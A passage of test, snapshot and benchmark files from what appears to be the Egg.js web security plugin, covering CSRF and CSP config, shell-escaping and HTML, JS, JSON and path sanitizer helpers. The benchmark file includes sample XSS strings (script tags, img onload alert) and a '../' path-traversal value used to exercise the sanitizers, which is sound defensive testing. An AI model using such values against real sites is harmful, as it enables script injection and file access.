 \"type\": \"ctoken\",\n  \"useSession\": false,\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/__snapshots__/dta.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/dta.test.ts > should ok when path is normal 1`] = `\n{\n  \"csp\": {\n    \"enable\": false,\n    \"policy\": {},\n  },\n  \"csrf\": {\n    \"bodyName\": \"_csrf\",\n    \"cookieName\": \"csrfToken\",\n    \"cookieOptions\": {\n      \"httpOnly\": false,\n      \"overwrite\": true,\n      \"signed\": false,\n    },\n    \"enable\": true,\n    \"headerName\": \"x-csrf-token\",\n    \"ignoreJSON\": false,\n    \"queryName\": \"_csrf\",\n    \"refererWhiteList\": [],\n    \"rotateWhenInvalid\": false,\n    \"sessionName\": \"csrfToken\",\n    \"supportedRequests\": [\n      {\n        \"methods\": [\n          \"POST\",\n          \"PATCH\",\n          \"DELETE\",\n          \"PUT\",\n          \"CONNECT\",\n        ],\n        \"path\": /\\\\^\\\\\\\\//,\n      },\n    ],\n    \"type\": \"ctoken\",\n    \"useSession\": false,\n  },\n  \"defaultMiddleware\": \"dta\",\n  \"domainWhiteList\": [],\n  \"dta\": {\n    \"enable\": true,\n    \"matching\": [Function],\n  },\n  \"hsts\": {\n    \"enable\": false,\n    \"includeSubdomains\": false,\n    \"maxAge\": 31536000,\n  },\n  \"methodnoallow\": {\n    \"enable\": true,\n  },\n  \"noopen\": {\n    \"enable\": true,\n  },\n  \"nosniff\": {\n    \"enable\": true,\n  },\n  \"protocolWhiteList\": [],\n  \"referrerPolicy\": {\n    \"enable\": false,\n    \"value\": \"no-referrer-when-downgrade\",\n  },\n  \"ssrf\": {},\n  \"xframe\": {\n    \"enable\": true,\n    \"value\": \"SAMEORIGIN\",\n  },\n  \"xssProtection\": {\n    \"enable\": true,\n    \"value\": \"1; mode=block\",\n  },\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/__snapshots__/xss.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/xss.test.ts > should set X-XSS-Protection header value 0 when config is number 0 1`] = `\n{\n  \"enable\": true,\n  \"matching\": [Function],\n  \"value\": 0,\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/app/extends/cliFilter.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/cliFilter.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-cliFilter-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.cliFilter()', () => {\n    it('should convert special chars in param and not convert chars in whitelists', () => {\n      return app.httpRequest().get('/cliFilter').expect(200).expect('true');\n    });\n\n    it('should not convert when chars in whitelists', () => {\n      return app.httpRequest().get('/cliFilter-2').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/escapeShellArg.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/escapeShellArg.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-escapeShellArg-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.escapeShellArg()', () => {\n    it('should add single quotes around a string', () => {\n      return app.httpRequest().get('/escapeShellArg').expect(200).expect('true');\n    });\n\n    it('should add single quotes around a string and quotes/escapes any existing single quotes', () => {\n      return app.httpRequest().get('/escapeShellArg-2').expect(200).expect('true');\n    });\n\n    it('should not affect normal arg', () => {\n      return app.httpRequest().get('/escapeShellArg-3').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/escapeShellCmd.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/escapeShellCmd.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-escapeShellCmd-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.escapeShellCmd()', () => {\n    it('should convert chars in blacklists', () => {\n      return app.httpRequest().get('/escapeShellCmd').expect(200).expect('true');\n    });\n\n    it('should not affect normal cmd', () => {\n      return app.httpRequest().get('/escapeShellCmd-2').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/helper.test.ts",
    "content": "import { strict as assert } from 'node:assert';\n\nimport { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/helper.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-app'),\n    });\n    await app.ready();\n\n    app2 = mm.app({\n      baseDir: getFixtures('apps/helper-config-app'),\n    });\n    await app2.ready();\n\n    app3 = mm.app({\n      baseDir: getFixtures('apps/helper-link-app'),\n    });\n    await app3.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n  });\n\n  describe('helper.escape()', () => {\n    it('should work', () => {\n      return app.httpRequest().get('/escape').expect(200).expect('true');\n    });\n  });\n\n  describe('helper.shtml()', () => {\n    it('should basic usage work', () => {\n      return app.httpRequest().get('/shtml-basic').expect(200).expect('true');\n    });\n\n    it('should escape tag not in default whitelist', () => {\n      return app.httpRequest().get('/shtml-escape-tag-not-in-default-whitelist').expect(200).expect('true');\n    });\n\n    it('should support multiple filter', () => {\n      return app.httpRequest().get('/shtml-multiple-filter').expect(200).expect('true');\n    });\n\n    it('should escape script', () => {\n      return app.httpRequest().get('/shtml-escape-script').expect(200).expect('true');\n    });\n\n    it('should escape img onload', () => {\n      return app.httpRequest().get('/shtml-escape-img-onload').expect(200).expect('true');\n    });\n\n    it('should escape hostname null', () => {\n      return app.httpRequest().get('/shtml-escape-hostname-null').expect(200).expect('true');\n    });\n\n    it('should support configuration', () => {\n      return app2.httpRequest().get('/shtml-configuration').expect(200).expect('true');\n    });\n\n    it('should ignore domains not in default domainList', () => {\n      return app.httpRequest().get('/shtml-ignore-domains-not-in-default-domainList').expect(200).expect('true');\n    });\n\n    it('should ignore hash', () => {\n      return app3.httpRequest().get('/shtml-ignore-hash').expect(200).expect('true');\n    });\n\n    it('should support extending domainList via config.helper.shtml.domainWhiteList', () => {\n      return app2\n        .httpRequest()\n        .get('/shtml-extending-domainList-via-config.helper.shtml.domainWhiteList')\n        .expect(200)\n        .expect('true');\n    });\n\n    it('should support absolute path', () => {\n      return app.httpRequest().get('/shtml-absolute-path').expect(200).expect('true');\n    });\n\n    it('should stripe css url', () => {\n      return app2.httpRequest().get('/shtml-stripe-css-url').expect(200).expect('true');\n    });\n\n    it('should customize whitelist via this.securityOptions.shtml', () => {\n      return app.httpRequest().get('/shtml-custom-via-security-options').expect(200).expect('true');\n    });\n\n    it('should check securityOptions when call shtml directly', () => {\n      const ctx = app.mockContext();\n      assert.equal(ctx.helper.shtml('<div></div>'), '<div></div>');\n    });\n  });\n\n  describe('helper.sjs()', () => {\n    it('should sjs(foo) work', () => {\n      return app.httpRequest().get('/sjs').expect(200).expect('true');\n    });\n\n    it('should convert special chars on js context', () => {\n      return app.httpRequest().get('/sjs-2').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/sjs.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/sjs.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-sjs-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.sjs()', () => {\n    it('should convert special chars on js context and not convert chart in whitelists', () => {\n      return app.httpRequest().get('/sjs').expect(200).expect('true');\n    });\n\n    it('should not convert when chars in whitelists', () => {\n      return app.httpRequest().get('/sjs-2').expect(200).expect('true');\n    });\n\n    it('should convert all special chars on js context except for special', () => {\n      return app.httpRequest().get('/sjs-3').expect(200).expect('true');\n    });\n\n    it('should only convert special chars plus /', () => {\n      return app.httpRequest().get('/sjs-4').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/sjson.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/sjson.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-sjson-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.sjson()', () => {\n    it('should not convert json string when json is safe', () => {\n      return app.httpRequest().get('/safejson').expect(200).expect('true');\n    });\n\n    it('should not convert json string when json is safe contains array', () => {\n      return app.httpRequest().get('/safejsontc2').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains string', () => {\n      return app.httpRequest().get('/safejsontc3').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains object', () => {\n      return app.httpRequest().get('/safejsontc4').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains symbel', () => {\n      return app.httpRequest().get('/safejsontc5').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains function', () => {\n      return app.httpRequest().get('/safejsontc6').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains buffer', () => {\n      return app.httpRequest().get('/safejsontc7').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains null', () => {\n      return app.httpRequest().get('/safejsontc8').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains undefined', () => {\n      return app.httpRequest().get('/safejsontc9').expect(200).expect('true');\n    });\n    it('should not convert json string when json is safe contains boolean', () => {\n      return app.httpRequest().get('/safejsontc10').expect(200).expect('true');\n    });\n\n    it('should convert json string when json contains unsafe key or value', () => {\n      return app.httpRequest().get('/unsafejson').expect(200).expect('true');\n    });\n\n    it('should convert json string when json contains unsafe value nested', () => {\n      return app.httpRequest().get('/unsafejson2').expect(200).expect('true');\n    });\n\n    it('should convert json string when json contains unsafe value nested in array', () => {\n      return app.httpRequest().get('/unsafejson3').expect(200).expect('true');\n    });\n\n    it('should convert json string when json contains unsafe key nested in array', () => {\n      return app.httpRequest().get('/unsafejson4').expect(200).expect('true');\n    });\n\n    it('should convert json string when json contains unsafe key', () => {\n      return app.httpRequest().get('/unsafejson5').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/app/extends/spath.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { beforeAll, afterAll, describe, it } from 'vitest';\n\nimport { getFixtures } from '../../utils.ts';\n\ndescribe('test/app/extends/spath.test.ts', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/helper-spath-app'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  describe('helper.spath()', () => {\n    it('should pass when filepath is safe', () => {\n      return app.httpRequest().get('/safepath').expect(200).expect('true');\n    });\n\n    it('should return null when filepath is not safe(contains ..)', () => {\n      return app.httpRequest().get('/unsafepath').expect(200).expect('true');\n    });\n\n    it('should return null when filepath is not safe(contains /)', () => {\n      return app.httpRequest().get('/unsafepath2').expect(200).expect('true');\n    });\n\n    it('should decode first when filepath contains %', () => {\n      return app.httpRequest().get('/unsafepath3').expect(200).expect('true');\n    });\n\n    it('should decode until filepath does not contains %', () => {\n      return app.httpRequest().get('/unsafepath4').expect(200).expect('true');\n    });\n\n    it('should not affect function when filepath decoding failed', () => {\n      return app.httpRequest().get('/unsafepath5').expect(200).expect('true');\n    });\n\n    it('should return source code when filepath argument is not a string', () => {\n      return app.httpRequest().get('/unsafepath6').expect(200).expect('true');\n    });\n\n    it('should return source path when filepath contained % but judged to be safe', () => {\n      return app.httpRequest().get('/unsafepath7').expect(200).expect('true');\n    });\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/benchmark/cidr_subnet.js",
    "content": "'use strict';\n\nconst ip = require('@eggjs/ip');\nconst Benchmark = require('benchmark');\nconst benchmarks = require('beautify-benchmark');\nconst suite = new Benchmark.Suite();\n\nconst parsed1 = ip.cidrSubnet('10.0.0.0/8');\nconst parsed2 = ip.cidrSubnet('0.0.0.0/32');\n\nconsole.log('10.0.0.0/8 contains 10.255.168.1', parsed1.contains('10.255.168.1'));\nconsole.log('10.0.0.0/8 contains 11.255.168.1', parsed1.contains('11.255.168.1'));\nconsole.log('0.0.0.0/32 contains 0.0.0.0', parsed2.contains('0.0.0.0'));\nconsole.log('0.0.0.0/32 contains 0.0.0.1', parsed2.contains('0.0.0.1'));\n\nsuite\n\n  .add('10.0.0/8 match', () => {\n    parsed1.contains('10.255.168.1');\n  })\n  .add('10.0.0/8 not match', () => {\n    parsed1.contains('11.255.168.1');\n  })\n  .add('0.0.0/32 match', () => {\n    parsed1.contains('0.0.0.0');\n  })\n  .add('0.0.0/32 not match', () => {\n    parsed1.contains('0.0.0.1');\n  })\n  .on('cycle', (event) => {\n    benchmarks.add(event.target);\n  })\n  .on('start', () => {\n    console.log(\n      '\\n  ip.cidrsubnet().contains() Benchmark\\n  node version: %s, date: %s\\n  Starting...',\n      process.version,\n      Date(),\n    );\n  })\n  .on('complete', () => {\n    benchmarks.log();\n  })\n  .run({ async: false });\n\n// ip.cidrsubnet().contains() Benchmark\n// node version: v8.9.1, date: Tue Mar 27 2018 12:04:41 GMT+0800 (CST)\n// Starting...\n// 4 tests completed.\n\n// 10.0.0/8 match     x 338,567 ops/sec ±2.98% (84 runs sampled)\n// 10.0.0/8 not match x 315,822 ops/sec ±5.29% (81 runs sampled)\n// 0.0.0/32 match     x 366,250 ops/sec ±4.47% (78 runs sampled)\n// 0.0.0/32 not match x 370,959 ops/sec ±4.23% (82 runs sampled)\n"
  },
  {
    "path": "plugins/security/test/benchmark/set_header.js",
    "content": "'use strict';\n\nconst Benchmark = require('benchmark');\nconst benchmarks = require('beautify-benchmark');\nconst suite = new Benchmark.Suite();\n\nclass Response {\n  constructor() {\n    this.headers = {};\n    this.headerNames = {};\n  }\n\n  set(name, value) {\n    // https://github.com/nodejs/node/blob/master/lib/_http_outgoing.js#L363\n    const key = name.toLowerCase();\n    this.headers[key] = value;\n    this.headerNames[key] = name;\n  }\n\n  setWithoutLowerCase(name, value) {\n    const key = name;\n    this.headers[key] = value;\n    this.headerNames[key] = name;\n  }\n}\n\nsuite\n\n  .add('set()', () => {\n    const r = new Response();\n    r.set('X-Frame-Options1', 'X-Frame-Options1 value');\n    r.set('X-Frame-Options2', 'X-Frame-Options2 value');\n    r.set('X-Frame-Options3', 'X-Frame-Options3 value');\n  })\n\n  .add('set() with lower case name', () => {\n    const r = new Response();\n    r.set('x-frame-options1', 'X-Frame-Options1 value');\n    r.set('x-frame-options2', 'X-Frame-Options2 value');\n    r.set('x-frame-options3', 'X-Frame-Options3 value');\n  })\n\n  .add('setWithoutLowerCase()', () => {\n    const r = new Response();\n    r.setWithoutLowerCase('X-Frame-Options1', 'X-Frame-Options1 value');\n    r.setWithoutLowerCase('X-Frame-Options2', 'X-Frame-Options2 value');\n    r.setWithoutLowerCase('X-Frame-Options3', 'X-Frame-Options3 value');\n  })\n\n  .add('setWithoutLowerCase() with lower case name', () => {\n    const r = new Response();\n    r.setWithoutLowerCase('x-frame-options1', 'X-Frame-Options1 value');\n    r.setWithoutLowerCase('x-frame-options2', 'X-Frame-Options2 value');\n    r.setWithoutLowerCase('x-frame-options3', 'X-Frame-Options3 value');\n  })\n\n  .on('cycle', (event) => {\n    benchmarks.add(event.target);\n  })\n  .on('start', () => {\n    console.log('\\n  setHeader() Benchmark\\n  node version: %s, date: %s\\n  Starting...', process.version, Date());\n  })\n  .on('complete', () => {\n    benchmarks.log();\n  })\n  .run({ async: false });\n\n// setHeader() Benchmark\n//   node version: v6.4.0, date: Tue Aug 30 2016 10:53:16 GMT+0800 (CST)\n//   Starting...\n//   4 tests completed.\n//\n//   set()                                      x    433,595 ops/sec ±5.37% (79 runs sampled)\n//   set() with lower case name                 x  3,895,403 ops/sec ±1.61% (86 runs sampled)\n//   setWithoutLowerCase()                      x 10,567,733 ops/sec ±1.69% (86 runs sampled)\n//   setWithoutLowerCase() with lower case name x 10,217,612 ops/sec ±1.22% (87 runs sampled)\n"
  },
  {
    "path": "plugins/security/test/benchmark.js",
    "content": "'use strict';\n\nconst Benchmark = require('benchmark');\nconst benchmarks = require('beautify-benchmark');\nconst sjsHelper = require('../lib/helper/sjs');\nconst shtmlHelper = require('../lib/helper/shtml');\nconst surlHelper = require('../lib/helper/surl');\nconst spathHelper = require('../lib/helper/spath');\nconst sjsonHelper = require('../lib/helper/sjson');\nconst mm = require('egg-mock');\nconst app = mm.app({\n  baseDir: 'apps/helper-app',\n  plugin: 'security',\n});\nconst ctx = app.mockContext();\nctx.ctx = {};\nctx.ctx.coreLogger = {\n  warn() {},\n};\nconst suite = new Benchmark.Suite();\nconst tc1 = '\"hello\"123abc\"';\nlet tc2 = '';\n\nfor (let i = 0, l = 128; i < l; i++) {\n  if (i === 9 || i === 10 || i === 13 || (i > 47 && i < 58) || (i > 64 && i < 91) || (i > 96 && i < 123)) {\n    continue;\n  } else {\n    tc2 += String.fromCharCode(i);\n  }\n}\n\nconst tc3 = '<img src=\"https://domain.com\"><h1>xx</h1>';\nconst tc4 = '<html><h1>Hello</h1></html>';\nconst tc5 = '<html><h1>Hello</h1></html>';\nconst tc6 = '<h1>Hello</h1><script>alert(1)</script>';\nconst tc7 = '<h1>Hello</h1><img onload=\"alert(1);\" src=\"http://taobao.com/1.png\" title=\"this is image\">';\nconst tc8 = '<img src=\"http://shaoshuai.me\" alt=\"alt\"><a href=\"http://shaoshuai.me\">xx</a>';\nconst tc9 = '<img src=\"/xx.png\" alt=\"alt\"><a href=\"/xx.png\">xx</a>';\nconst tc10 = '/////foo.com/';\nconst tc11 = 'xxx://xss.com';\nconst tc12 = '2.jpg';\nconst tc13 = '../home/admin';\n\nconst tc14 = {\n  a: 1,\n};\nconst tc15 = {\n  a: '<script type=\"sdfdsd\">alert(111)</script>',\n};\nconst tc16 = {\n  a: {\n    b: {\n      c: {\n        d: '<script>?</script>',\n      },\n    },\n  },\n};\nconst tc17 = {\n  a: {\n    b: {\n      c: {\n        '<script>': [\n          '<script>?</script>',\n          {\n            e: '<script>',\n          },\n        ],\n      },\n    },\n  },\n};\nsuite\n\n  .add('Sjs helper benchmark: simple code convert benchmark', function () {\n    // 466,569 ops/sec ±1.15% (97 runs sampled)\n    sjsHelper.call(ctx, tc1);\n  })\n  .add('Sjs helper benchmark: whole code convert benchmark', function () {\n    // 55,800 ops/sec ±1.47% (97 runs sampled)\n    sjsHelper.call(ctx, tc2);\n  })\n  .add('Shtml helper benchmark: basic benchmark', function () {\n    // 43,415 ops/sec ±1.28% (95 runs sampled)\n    shtmlHelper.call(ctx, tc3);\n  })\n  .add('Shtml helper benchmark: shtml-escape-tag-not-in-default-whitelist benchmark', function () {\n    // 146,729 ops/sec ±1.03% (96 runs sampled)\n    shtmlHelper.call(ctx, tc4);\n  })\n  .add('Shtml helper benchmark: multiple-filter benchmark', function () {\n    // 145,911 ops/sec ±1.10% (96 runs sampled)\n    shtmlHelper.call(ctx, tc5);\n  })\n  .add('Shtml helper benchmark: escape-script benchmark', function () {\n    // 145,777 ops/sec ±0.80% (94 runs sampled)\n    shtmlHelper.call(ctx, tc6);\n  })\n  .add('Shtml helper benchmark: escape-img-onload benchmark', function () {\n    // 34,096 ops/sec ±0.82% (98 runs sampled)\n    shtmlHelper.call(ctx, tc7);\n  })\n  .add('Shtml helper benchmark: ignore-domains-not-in-default-domainList benchmark', function () {\n    // 21,823 ops/sec ±1.12% (98 runs sampled)\n    shtmlHelper.call(ctx, tc8);\n  })\n  .add('Shtml helper benchmark: absolute-path benchmark', function () {\n    // 64,219 ops/sec ±0.70% (98 runs sampled)\n    shtmlHelper.call(ctx, tc9);\n  })\n  .add('Surl helper benchmark: protocol white list benchmark', function () {\n    // 5,452,217 ops/sec ±0.71% (97 runs sampled)\n    surlHelper.call(ctx, tc10);\n  })\n  .add('Surl helper benchmark: protocol not in white list benchmark', function () {\n    // 323,139 ops/sec ±0.71% (98 runs sampled)\n    surlHelper.call(ctx, tc11);\n  })\n  .add('Spath helper benchmark: simple file path benchmark', function () {\n    // 6,850,718 ops/sec ±0.78% (98 runs sampled)\n    spathHelper.call(ctx, tc12);\n  })\n  .add('Spath helper benchmark: unsecurity file path benchmark', function () {\n    // 7,480,158 ops/sec ±0.54% (101 runs sampled)\n    spathHelper.call(ctx, tc13);\n  })\n  .add('Sjson helper benchmark: simple json benchmark', function () {\n    // 631,374 ops/sec ±2.09% (91 runs sampled)\n    sjsonHelper.call(ctx, tc14);\n  })\n  .add('Sjson helper benchmark: unsecurity json benchmark', function () {\n    // 94,462 ops/sec ±2.84% (95 runs sampled)\n    sjsonHelper.call(ctx, tc15);\n  })\n  .add('Sjson helper benchmark: unsecurity nested json benchmark', function () {\n    // 72,742 ops/sec ±1.08% (95 runs sampled)\n    sjsonHelper.call(ctx, tc16);\n  })\n  .add('Sjson helper benchmark: unsecurity array nested json benchmark', function () {\n    // 41,798 ops/sec ±1.72% (96 runs sampled)\n    sjsonHelper.call(ctx, tc17);\n  })\n  .on('cycle', function (event) {\n    benchmarks.add(event.target);\n  })\n  .on('start', function () {\n    console.log('\\n helper Benchmark\\n  node version: %s, date: %s\\n  Starting...', process.version, Date());\n  })\n  .on('complete', function done() {\n    benchmarks.log();\n  })\n  .run({\n    async: false,\n  });\n"
  },
  {
    "path": "plugins/security/test/config/__snapshots__/config.default.test.ts.snap",
    "content": "// Vitest Snapshot v1, https://vitest.dev/guide/snapshot.html\n\nexports[`test/config/config.default.test.ts > should config default values keep stable 1`] = `\n{\n  \"helper\": {\n    \"shtml\": {},\n  },\n  \"security\": {\n    \"csp\": {\n      \"enable\": false,\n      \"policy\": {},\n    },\n    \"csrf\": {\n      \"bodyName\": \"_csrf\",\n      \"cookieName\": \"csrfToken\",\n      \"cookieOptions\": {\n        \"httpOnly\": false,\n        \"overwrite\": true,\n        \"signed\": false,\n      },\n      \"enable\": true,\n      \"headerName\": \"x-csrf-token\",\n      \"ignoreJSON\": false,\n      \"queryName\": \"_csrf\",\n      \"refererWhiteList\": [],\n      \"rotateWhenInvalid\": false,\n      \"sessionName\": \"csrfToken\",\n      \"supportedRequests\": [\n        {\n          \"methods\": [\n            \"POST\",\n            \"PATCH\",\n            \"DELETE\",\n            \"PUT\",\n            \"CONNECT\",\n          ],\n          \"path\": /\\\\^\\\\\\\\//,\n        },\n      ],\n      \"type\": \"ctoken\",\n      \"useSession\": false,\n    },\n    \"defaultMiddleware\": [\n      \"csrf\",\n      \"hsts\",\n      \"methodnoallow\",\n      \"noopen\",\n      \"nosniff\",\n      \"csp\",\n      \"xssProtection\",\n      \"xframe\",\n      \"dta\",\n    ],\n    \"domainWhiteList\": [],\n    \"dta\": {\n      \"enable\": true,\n    },\n    \"hsts\": {\n      \"enable\": false,\n      \"includeSubdomains\": false,\n      \"maxAge\": 31536000,\n    },\n    \"methodnoallow\": {\n      \"enable\": true,\n    },\n    \"noopen\": {\n      \"enable\": true,\n    },\n    \"nosniff\": {\n      \"enable\": true,\n    },\n    \"protocolWhiteList\": [],\n    \"referrerPolicy\": {\n      \"enable\": false,\n      \"value\": \"no-referrer-when-downgrade\",\n    },\n    \"ssrf\": {},\n    \"xframe\": {\n      \"enable\": true,\n      \"value\": \"SAMEORIGIN\",\n    },\n    \"xssProtection\": {\n      \"enable\": true,\n      \"value\": \"1; mode=block\",\n    },\n  },\n}\n`;\n"
  },
  {
    "path": "plugins/security/test/config/config.default.test.ts",
    "content": "import { describe, it, expect } from 'vitest';\n\nimport config from '../../src/config/config.default.ts';\n\ndescribe('test/config/config.default.test.ts', () => {\n  it('should config default values keep stable', () => {\n    expect(config).toMatchSnapshot();\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/context.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\ndescribe('context.isSafeDomain', () => {\n  let app: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/isSafeDomain-custom'),\n    });\n    await app.ready();\n  });\n\n  afterAll(() => app.close());\n\n  it('should return false when domains are not safe', async () => {\n    expect(app.config.security).toMatchSnapshot();\n    const res = await app.httpRequest().get('/unsafe').set('accept', 'text/html').expect(200);\n    expect(res.text).toBe('false');\n  });\n\n  it('should return true when domains are safe', async () => {\n    const res = await app.httpRequest().get('/safe').set('accept', 'text/html').expect(200);\n    expect(res.text).toBe('true');\n  });\n});\n"
  },
  {
    "path": "plugins/security/test/csp.test.ts",
    "content": "import { mm, type MockApplication } from '@eggjs/mock';\nimport { describe, it, expect, afterAll, beforeAll } from 'vitest';\n\nimport { getFixtures } from './utils.ts';\n\n// windows unstable\ndescribe.skipIf(process.platform === 'win32')('test/csp.test.ts', () => {\n  let app: MockApplication;\n  let app2: MockApplication;\n  let app3: MockApplication;\n  let app4: MockApplication;\n  beforeAll(async () => {\n    app = mm.app({\n      baseDir: getFixtures('apps/csp'),\n    });\n    await app.ready();\n    app2 = mm.app({\n      baseDir: getFixtures('apps/csp-ignore'),\n    });\n    await app2.ready();\n    app3 = mm.app({\n      baseDir: getFixtures('apps/csp-reportonly'),\n    });\n    await app3.ready();\n    app4 = mm.app({\n      baseDir: getFixtures('apps/csp-supportie'),\n    });\n    await app4.ready();\n  });\n\n  afterAll(async () => {\n    await app.close();\n    await app2.close();\n    await app3.close();\n    await app4.close();\n  });\n\n  describe('directives', () => {\n    it('should support other directives when pattern match', async () => {\n      const res = await app.httpRequest().get('/testcsp').expect(200);\n      const nonce = res.text;\n      const expectedHeader =\n        \"script-src 'self' 'unsafe-inline' 'unsafe-eval' *.domain.com www.google-analytics.com 'nonce-\" +\n        nonce +\n        \"';style-src 'unsafe-inline' *.domain.com;img-src 'self' data: *.domain.com www.google-analytics.com;frame-ancestors 'self';report-uri http://pointman.domain.com/csp?app=csp\";\n      expect(res.headers['content-security-policy']).toBe(expectedHeader);\n    });\n\n    it('should support with custom policy', async () => {\n      const res = await app.httpRequest().get('/testcsp/custom').expect(200);\n      const nonce = res.text;\n      const expectedHeader = `script-src 'self' 'nonce-${nonce}';style-src 'unsafe-inline';img-src 'self';frame-ancestors 'self';report-uri http://pointman.domain.com/csp?app=csp`;\n      expect(res.headers['content-security-policy']).toBe(expectedHeader);\n    });\n\n    it('should support dynamic disable', async () => {\n      const res = await app.httpRequest().get('/testcsp/disable').expect(200);\n      expect(res.headers['content-security-policy']).toBe(undefined);\n    });\n\n    it('should support IE', async () => {\n      const res = await app4\n        .httpRequest()\n        .get('/testcsp')\n        .set('user-agent', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/4.0)')\n        .expect(200);\n      const nonce = res.text;\n      const expectedHeader =\n        \"script-src 'self' 'unsafe-inline' 'unsafe-eval' *.domain.com www.google-analytics.com 'nonce-\" +\n        nonce +\n        \"';style-src 'unsafe-inline' *.domain.com;img-src 'self' data: *.domain.com www.google-analytics.com;frame-ancestors 'self';report-uri http://pointman.domain.com/csp?app=csp\";\n      expect(res.headers['x-content-security-policy']).toBe(expectedHeader);\n    });\n\n    it('should support report-uri', async () => {\n      const res = await app.httpRequest().get('/testcsp').expect(200);\n      const headers = JSON.stringify(res.headers);\n      expect(headers).toMatch(/report-uri http:\\/\\/pointman\\.domain\\.com\\/csp\\?app=csp/);\n    });\n  });\n\n  describe('nonce', () => {\n    it('should support nonce', async () => {\n      const res = await app.httpRequest().get('/testcsp').expect(200);\n      const nonce = res.text;\n      const header = res.headers['content-security-policy'];\n      const re_nonce = /nonce-([^']+)/;\n      const m = re_nonce.exec(header);\n      expect(nonce).toBe(m![1]);\n    });\n\n    it('should have X-CSP-Nonce header', async () => {\n      const res = await app.httpRequest().get('/testcsp').expect(200);\n      const nonce = res.text;\n      expect(res.headers['x-csp-nonce']).toBe(nonce);\n    });\n  });\n\n  it('should ignore path', async () => {\n    expect(app2.config.security).toMatchSnapshot();\n    const res = await app2.httpRequest().get('/api/update').expect(200);\n    expect(res.headers['x-csp-nonce']).toBe(undefined);\n  });\n\n  it('should ignore path by regex rule', async () => {\n    const res = await app2.httpRequest().get('/ignore/update').expect(200);\n    expect(res.headers['x-csp-nonce']).toBe(undefined);\n  });\n\n  it('should not ignore path when do not match', async () => {\n    const res = await app2.httpRequest().get('/testcsp').expect(200);\n    expect(res.headers['x-csp-nonce']).toBeTruthy();\n  });\n\n  it('should support report only when pattern match and report only config open', async () => {\n    const res = await app3.httpRequest().get('/testcsp').expect(200);\n    const nonce = res.text;\n    const expectedHeader =\n      \"script-src 'self' 'unsafe-inline' 'unsafe-eval' *.domain.com www.google-analytics.com 'nonce-\" +\n      nonce +\n      \"';style-src 